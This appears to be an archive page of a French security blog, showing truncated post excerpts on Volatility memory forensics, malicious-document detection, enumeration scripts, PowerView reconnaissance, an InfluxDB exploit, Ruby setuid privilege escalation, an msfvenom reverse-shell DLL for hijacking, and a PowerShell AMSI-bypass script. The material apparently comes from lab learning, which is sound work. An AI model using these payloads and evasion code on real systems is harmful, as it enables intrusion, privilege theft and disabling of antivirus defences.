Environnements virtuels dans Python
python3 -m pip install virtualenv mkdir virtual-demo cd virtual-demo python3 -m venv env source env/bin/activate which python3 which pip pip freeze deactivate
Mois : août 2021
Déterminer si un système est infecté en analysant la mémoire avec volatility
Quelque outils permettent d’avoir un image de la mémoire FTK Image Redline DumpIt.exe win32dd.exe / win64dd.exe (support psexec) Ces outils permettent d’avoir un format raw de la mémoire. Sur windows, vous avez aussi le fichier d’hibernation %SystemDrive%/hiberfil.sys qui est une image compressée. Pour les machines virtuelles vmware : .vmem file Hyper-v : .bin file Parallels … Continuer la lecture
Scripts python pour l’énumération
Énumération des sous-domaines import requests import sys sub_list = open("subdomains.txt").read() subdoms = sub_list.splitlines() for sub in subdoms: sub_domains = f"http://{sub}.{sys.argv[1]}" try: requests.get(sub_domains) except requests.ConnectionError: pass else: print("Valid domain: ",sub_domains) Énumération des répertoires import requests import sys sub_list = open("wordlist.txt").read() directories = sub_list.splitlines() for dir in directories: dir_enum = f"http://{sys.argv[1]}/{dir}.html" r = requests.get(dir_enum) if … Continuer la lecture
Powerview
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 powershell Import-Module .\powerview.ps1 Get-NetDomainController (Get-NetUser).name Get-NetUser | select -ExpandProperty lastlogon Get-NetUser -Domain searchevolution.local Get-NetUser -UACFilter ACCOUNTDISABLE #liste les comptes bloqués Get-NetUser -properties Get-NetComputer Get-NetGroup Get-NetGroupMember “Domain Admins” Get-NetShare Find-DomainShare -CheckShareAccess : Liste les partages lisibles Get-NetGPO Get-NetUser | select -ExpandProperty lastlogon Get-NetDomainTrust #liste les domaines accessibles Find-LocalAdminAccess #liste des ordinateurs qu’il est possible d’avoir … Continuer la lecture
Aide-Mémoire volatility
volatility utilise python2 git clone https://github.com/volatilityfoundation/volatility.git python2 -m pip install pycrypto python2 -m pip install distorm3 python2 vol.py Si on a un image mémoire inconnu volatility -f Win7-Jigsaw.raw imageinfo on regarde Suggested Profile(s) Liste les processsus volatility -f Win7-Jigsaw.raw –profile=Win7SP1x64 pslist Liste les dll utilisés par un processus volatility -f Win7-Jigsaw.raw –profile=Win7SP1x64 dlllist -p 3704 … Continuer la lecture
Détecter du code malicieux dans des .pdf et des .doc
Peepdf permet l’extraction des codes javascript des fichiers pdf git clone https://github.com/jesparza/peepdf.git python2 peepdf.py echo 'extract js > mypdf.txt' > extracted_javascript.txt peepdf -s extracted_javascript.txt mypdf.pdf vmonkey permet d’extraire les scripts malicieux des documents office. Il utilise python2 mais appelle des scripts en python3… pip2 install virtualenv cd ~ git clone https://github.com/decalage2/ViperMonkey.git cd ~/ViperMoney virtualenv –version … Continuer la lecture
Exploit InfluxDB 1.30
Il y a un bug dans InfluxDB et nous pouvons trouver le nom d’un usager en visitant le URL http://10.10.169.83:8086/debug/requests Nous pouvons utiliser le script https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933 pour nous créer un token et accéder à la base de données show databases show tag keys on creds #creds est le nom d'une base de données show tag … Continuer la lecture
Obtenir le compte administrateur avec Ruby
On se rend compte avec linPEAS que Ruby a les capabilities setuid On peut facilement obtenir le compte de l’administrateur. Si Ruby a été protégé avec apparmor pour ne pouvoir exécuter que quelques utilitaires et avoir accès qu’à certains fichiers #include <tunables/global> /usr/bin/ruby2.5 { #include <abstractions/base> capability setuid, deny owner /etc/nsswitch.conf r, deny /root/* rwx, … Continuer la lecture
DLL Hijacking
Étapes pour réussir l’injection de DLL sous windows Identifier l’application vulnérable et son emplacement Identifer le ID du processus Identifier les DLL vulnérables qui peuvent être hijackés Remplacer la DLL d’origine Génération d’une DLL pour création d’une session meterpreter sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=53 -f dll -o not_malicious.dll Conditions pour qu’une DLL soit vulnérable … Continuer la lecture
Modifier du code pour s’évader de l’antivirus
Ce script permet de désactiver AMSI //bypass.ps1 $MethodDefinition = " [DllImport(`"kernel32`")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle … Continuer la lecture